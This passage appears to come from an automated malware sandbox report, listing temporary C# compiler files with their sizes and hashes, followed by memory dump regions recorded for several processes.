                                                                                      Filesize

                                                                                      2KB

                                                                                      MD5

                                                                                      f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                      SHA1

                                                                                      e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                      SHA256

                                                                                      a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                      SHA512

                                                                                      c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\p1mxckxg\CSC621405D1613942CABB40E61974DE5279.TMP

                                                                                      Filesize

                                                                                      652B

                                                                                      MD5

                                                                                      75e4b14df5fd5b10a5a5f1260ae5b06d

                                                                                      SHA1

                                                                                      ccdbb73d5703ed8c0c08df3c6f5c4cbf789b0d23

                                                                                      SHA256

                                                                                      081de44bb979125630fe1b4198d1dba7f8f2afc9e239c8214dd62bfdd731c9b7

                                                                                      SHA512

                                                                                      ca9c0ab6c9bf44a7d3a0a35c91b7caebf044dbeed911de8d2c5744a24b038d9e2298f9ea48fae7749112bfad9b582dd48f70e8f07408ef174c4ecf132b860174

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\p1mxckxg\p1mxckxg.0.cs

                                                                                      Filesize

                                                                                      1004B

                                                                                      MD5

                                                                                      c76055a0388b713a1eabe16130684dc3

                                                                                      SHA1

                                                                                      ee11e84cf41d8a43340f7102e17660072906c402

                                                                                      SHA256

                                                                                      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                      SHA512

                                                                                      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\p1mxckxg\p1mxckxg.cmdline

                                                                                      Filesize

                                                                                      607B

                                                                                      MD5

                                                                                      fbaff95345ddee437a6c0093bbdb94e5

                                                                                      SHA1

                                                                                      b04ac83aec624c17efb98c1b3fdf4572c6a4e038

                                                                                      SHA256

                                                                                      7810670861646d729f212bb8579be8c31ca1b229f0889d7b903bee00f8e99604

                                                                                      SHA512

                                                                                      37d998f67d015a9915651a83597c90b6962bf9e8090db4c42d8742d06d56df99fd48f392a752b67cd9946d30a7d492adf4f8add176e33b3b308eef2769c40cd3

                                                                                    • memory/2104-109-0x00007FF886B50000-0x00007FF887611000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/2104-83-0x00007FF886B50000-0x00007FF887611000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/2104-94-0x000002514E9A0000-0x000002514E9C2000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                    • memory/2104-80-0x00007FF886B53000-0x00007FF886B55000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/2104-82-0x00007FF886B50000-0x00007FF887611000-memory.dmp

                                                                                      Filesize

                                                                                      10.8MB

                                                                                    • memory/4172-31-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp

                                                                                      Filesize

                                                                                      144KB

                                                                                    • memory/4172-69-0x00007FF888370000-0x00007FF8887DA000-memory.dmp

                                                                                      Filesize

                                                                                      4.4MB

                                                                                    • memory/4172-192-0x00007FF8882B0000-0x00007FF888366000-memory.dmp

                                                                                      Filesize

                                                                                      728KB

                                                                                    • memory/4172-81-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4172-112-0x00007FF897510000-0x00007FF89753E000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/4172-79-0x00007FF895700000-0x00007FF89571E000-memory.dmp

                                                                                      Filesize

                                                                                      120KB

                                                                                    • memory/4172-425-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp

                                                                                      Filesize

                                                                                      144KB

                                                                                    • memory/4172-78-0x00007FF888190000-0x00007FF8882A8000-memory.dmp

                                                                                      Filesize

                                                                                      1.1MB

                                                                                    • memory/4172-76-0x00007FF89D700000-0x00007FF89D70D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4172-311-0x00007FF888190000-0x00007FF8882A8000-memory.dmp

                                                                                      Filesize

                                                                                      1.1MB

                                                                                    • memory/4172-25-0x00007FF888370000-0x00007FF8887DA000-memory.dmp

                                                                                      Filesize

                                                                                      4.4MB

                                                                                    • memory/4172-71-0x00007FF887890000-0x00007FF887C04000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4172-72-0x00007FF8882B0000-0x00007FF888366000-memory.dmp

                                                                                      Filesize

                                                                                      728KB

                                                                                    • memory/4172-70-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp

                                                                                      Filesize

                                                                                      144KB

                                                                                    • memory/4172-66-0x00007FF897510000-0x00007FF89753E000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/4172-63-0x00007FF8956E0000-0x00007FF8956F9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4172-64-0x00007FF89D710000-0x00007FF89D71D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4172-60-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4172-58-0x00007FF895700000-0x00007FF89571E000-memory.dmp

                                                                                      Filesize

                                                                                      120KB

                                                                                    • memory/4172-56-0x00007FF898140000-0x00007FF898159000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4172-54-0x00007FF8979D0000-0x00007FF8979FC000-memory.dmp

                                                                                      Filesize

                                                                                      176KB

                                                                                    • memory/4172-32-0x00007FF8A01D0000-0x00007FF8A01DF000-memory.dmp

                                                                                      Filesize

                                                                                      60KB

                                                                                    • memory/4172-191-0x00007FF887890000-0x00007FF887C04000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4172-84-0x00007FF8956E0000-0x00007FF8956F9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4172-74-0x00007FF8974F0000-0x00007FF897505000-memory.dmp

                                                                                      Filesize

                                                                                      84KB

                                                                                    • memory/4172-323-0x00007FF887890000-0x00007FF887C04000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4172-324-0x00007FF8882B0000-0x00007FF888366000-memory.dmp

                                                                                      Filesize

                                                                                      728KB

                                                                                    • memory/4172-322-0x00007FF897510000-0x00007FF89753E000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/4172-319-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4172-314-0x00007FF897D90000-0x00007FF897DB4000-memory.dmp

                                                                                      Filesize

                                                                                      144KB

                                                                                    • memory/4172-313-0x00007FF888370000-0x00007FF8887DA000-memory.dmp

                                                                                      Filesize

                                                                                      4.4MB

                                                                                    • memory/4172-318-0x00007FF895700000-0x00007FF89571E000-memory.dmp

                                                                                      Filesize

                                                                                      120KB

                                                                                    • memory/4172-348-0x00007FF888370000-0x00007FF8887DA000-memory.dmp

                                                                                      Filesize

                                                                                      4.4MB

                                                                                    • memory/4172-423-0x00007FF888370000-0x00007FF8887DA000-memory.dmp

                                                                                      Filesize

                                                                                      4.4MB

                                                                                    • memory/4172-424-0x00007FF8A01D0000-0x00007FF8A01DF000-memory.dmp

                                                                                      Filesize

                                                                                      60KB

                                                                                    • memory/4172-431-0x00007FF89D710000-0x00007FF89D71D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4172-437-0x00007FF887CE0000-0x00007FF887E4D000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4172-436-0x00007FF888190000-0x00007FF8882A8000-memory.dmp

                                                                                      Filesize

                                                                                      1.1MB

                                                                                    • memory/4172-435-0x00007FF89D700000-0x00007FF89D70D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4172-434-0x00007FF8974F0000-0x00007FF897505000-memory.dmp

                                                                                      Filesize

                                                                                      84KB

                                                                                    • memory/4172-433-0x00007FF8882B0000-0x00007FF888366000-memory.dmp

                                                                                      Filesize

                                                                                      728KB

                                                                                    • memory/4172-432-0x00007FF887890000-0x00007FF887C04000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4172-430-0x00007FF8956E0000-0x00007FF8956F9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4172-429-0x00007FF897510000-0x00007FF89753E000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/4172-428-0x00007FF895700000-0x00007FF89571E000-memory.dmp

                                                                                      Filesize

                                                                                      120KB

                                                                                    • memory/4172-427-0x00007FF898140000-0x00007FF898159000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4172-426-0x00007FF8979D0000-0x00007FF8979FC000-memory.dmp

                                                                                      Filesize

                                                                                      176KB

                                                                                    • memory/4704-226-0x0000020678430000-0x0000020678438000-memory.dmp

                                                                                      Filesize

                                                                                      32KB